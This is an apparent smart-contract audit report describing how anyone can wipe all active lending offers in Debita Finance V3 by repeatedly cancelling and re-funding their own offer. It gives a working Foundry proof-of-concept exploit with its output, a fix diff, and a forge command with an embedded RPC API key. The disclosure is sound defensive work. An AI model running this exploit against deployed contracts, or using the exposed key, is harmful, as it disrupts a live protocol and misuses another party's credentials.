Fluffy Glossy Alpaca

High

# Anyone can delete all active lending offers without authorization

### Summary

When canceling a lending offer via [`DebutaLendOffer-Implementation::cancelOffer`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144), the `availableAmount` and the status of the offer `isActive` are correctly set to `0` and `false`, respectively. Then, the offer is well [removed](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L157) from the list of active lend orders. However, due to the missing check of the lending offer's activity, an attacker can add funds, i.e. 1 wei to his already removed offer and cancel this offer again. He can repeat these steps to delete all active lending offers.

### Root Cause

The [`cancelOffer`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144) function only verifies if a lending offer has non-zero available amount. It does not check if the offer is still active.
```javascript


function cancelOffer() public onlyOwner nonReentrant {
   uint availableAmount = lendInformation.availableAmount;
   lendInformation.perpetual = false;
   lendInformation.availableAmount = 0;
>> require(availableAmount > 0, "No funds to cancel");
   isActive = false; // @audit no check if the offer is still active


   SafeERC20.safeTransfer(
       IERC20(lendInformation.principle),
       msg.sender,
       availableAmount
   );
   IDLOFactory(factoryContract).emitDelete(address(this));
   IDLOFactory(factoryContract).deleteOrder(address(this));
   // emit canceled event on factory
}
```

The available amount requirement can be bypassed easily by [adding funds](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162) to the same lending offer. As a result, a malicious user can call `cancelOffer` multiple times, hence, he's able to call `IDLOFactory(factoryContract).deleteOrder` multiple times on a deleted lending offer. As depicted in [`DebitaLendOfferFactory::deleteOrder`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L208-L217), removing an already deleted lend order will result in removing the first element of the `allActiveLendOrders` array. As a consequence, by keeping doing it, all active lending orders will be deleted.


```javascript


function deleteOrder(address _lendOrder) external onlyLendOrder {
   uint index = LendOrderIndex[_lendOrder]; // @audit if _lendOrder is already removed, index will be 0
   LendOrderIndex[_lendOrder] = 0;


   // switch index of the last borrow order to the deleted borrow order
   allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1]; // @audit the first element is at a result removed from the allActiveLendOrders array
   LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;


   // take out last borrow order


   allActiveLendOrders[activeOrdersCount - 1] = address(0);


   activeOrdersCount--;
}
```

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

- A attacker creates a legitimate lending offer
- He cancels his offer then funds 1 wei to this offer
- Repeat step 2 until all the active lending offers are deleted

### Impact

Anyone can delete all active lending offers without authorization, hence, stop the whole protocol from functioning as there will be no lending offers to match with the borrowing ones.

### PoC


- This test case can be added to the file `MixMultiplePrinciples.t.sol`:


```javascript


function testMaliciousAttackerCanRemoveAllActiveLendOffersWithoutAuthorization() public {
   address attacker = makeAddr("attacker");
   deal(wETH, attacker, 1000e18, false);
   bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(2);
   uint256[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
   uint256[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
   bool[] memory oraclesActivatedLenders = allDynamicData.getDynamicBoolArray(1);
   address[] memory acceptedPrinciples = allDynamicData.getDynamicAddressArray(2);
   address[] memory acceptedCollaterals = allDynamicData.getDynamicAddressArray(1);
   address[] memory oraclesCollateral = allDynamicData.getDynamicAddressArray(1);


   acceptedPrinciples[0] = AERO;
   acceptedCollaterals[0] = USDC;
   oraclesActivated[0] = true;


   // Get the current number of lend orders
   uint256 nbOfLendOrderBefore = DLOFactoryContract.getActiveOrders(0, type(uint256).max).length;
   // The current number of lend orders is 3
   // They are effectively created in the setUp function
   assertEq(nbOfLendOrderBefore, 3);


   // The attacker creates a legitimate lending offer
   vm.startPrank(attacker);
   wETHContract.approve(address(DLOFactoryContract), 5e18);
   ratioLenders[0] = 4e17;
   ltvsLenders[0] = 6900;


   address attackerOrderAddress = DLOFactoryContract.createLendOrder(
       false,
       oraclesActivatedLenders,
       false,
       ltvsLenders,
       1000,
       9640000,
       86400,
       acceptedCollaterals,
       wETH,
       oraclesCollateral,
       ratioLenders,
       DebitaChainlinkOracle,
       5e18
   );
   uint256 nbOfLendOrderAfter = DLOFactoryContract.getActiveOrders(0, type(uint256).max).length;
   // The number of lend order is now 4
   assertEq(nbOfLendOrderAfter, 4);
   // Now, the attacker can just keeps:
   // canceling his own order & adding 1 wei to his order address just after
   // until all lending orders are removed even ones created from other users
   for (uint256 i = 0; i < nbOfLendOrderAfter; i++) {
       DLOImplementation(attackerOrderAddress).cancelOffer();
       wETHContract.approve(address(attackerOrderAddress), 1);
       DLOImplementation(attackerOrderAddress).addFunds(1);
   }


   vm.stopPrank();
   // He's succeeded to remove all lending orders without authorization
   assertEq(DLOFactoryContract.activeOrdersCount(), 0);
}


```


- Run it with the following command `forge test --fork-url https://base-mainnet.g.alchemy.com/v2/Qcwhw6owCORIS6Pr1r5AtWg7voPLcIWE --mt testMaliciousAttackerCanRemoveAllActiveLendOffersWithoutAuthorization  --fork-block-number 22675104`, which should return:


```text


Ran 1 test for test/fork/Loan/mix/MixMultiplePrinciples.t.sol:testMultiplePrinciples
[PASS] testMaliciousAttackerCanRemoveAllActiveLendOffersWithoutAuthorization() (gas: 1398356)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.45ms (3.32ms CPU time)


Ran 1 test suite in 347.72ms (14.45ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)


```

### Mitigation

It's mandatory to check if a lending offer is still active when canceling it.
This diff can be applied to the function `DebutaLendOffer-Implementation::cancelOffer`:


```diff


function cancelOffer() public onlyOwner nonReentrant {
   uint availableAmount = lendInformation.availableAmount;
   lendInformation.perpetual = false;
   lendInformation.availableAmount = 0;
   require(availableAmount > 0, "No funds to cancel");
+  require(isActive, "Offer is not active");
   isActive = false;


   SafeERC20.safeTransfer(
       IERC20(lendInformation.principle),
       msg.sender,
       availableAmount
   );
   IDLOFactory(factoryContract).emitDelete(address(this));
   IDLOFactory(factoryContract).deleteOrder(address(this));
   // emit canceled event on factory
}


```